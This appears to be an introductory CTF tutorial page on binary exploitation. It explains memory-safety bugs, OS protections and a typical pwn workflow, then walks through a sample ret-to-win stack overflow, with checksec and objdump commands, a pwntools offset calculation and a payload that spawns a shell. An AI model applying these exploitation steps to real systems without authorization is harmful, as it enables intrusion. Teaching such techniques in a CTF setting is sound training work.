Binary Exploitation (Pwn)
Pwn challenges require you to exploit memory corruption vulnerabilities — buffer overflows, format strings, heap mismanagement, and more — to hijack program execution, spawn a shell, or read protected memory.
Binary exploitation ("pwn") is the art of taking control of a running process by abusing memory-safety bugs. When a program fails to validate input size or type, an attacker can overwrite memory structures — redirecting execution to arbitrary code or leaking sensitive data.
It requires a deep understanding of process memory layout (stack, heap, BSS), CPU calling conventions, OS protections (ASLR, NX, stack canaries, PIE, RELRO), and low-level C/assembly behaviour.
In a CTF, you are given a compiled binary and (usually) a remote service running it. Your goal is to provide crafted input that hijacks execution and reads a flag from a privileged file or environment variable on the server.
Common workflow: check protections with checksec → find the vulnerability (overflow, format string, use-after-free) → calculate offsets → build the exploit payload with pwntools → leak a libc address if needed → get a shell and cat flag.txt.
Sample Challenge
gets() into a 64-byte stack buffer and then calls greet().
There is also a function called win() that runs /bin/sh — it is never called by the program. NX is enabled; PIE is disabled.- Run
checksec vuln: NX=on, PIE=off, no canary — confirms a ret-to-win approach. - Find the
win()address:objdump -d vuln | grep win(e.g.0x401196). - Calculate the offset to the return address:
python3 -c "import pwn; pwn.cyclic(200)", crash the binary, readrspin GDB, runpwn.cyclic_find(). - Build the exploit:
payload = b'A'*offset + p64(win_addr). - Send with pwntools:
p = process('./vuln'); p.sendline(payload); p.interactive()— drops you to a shell.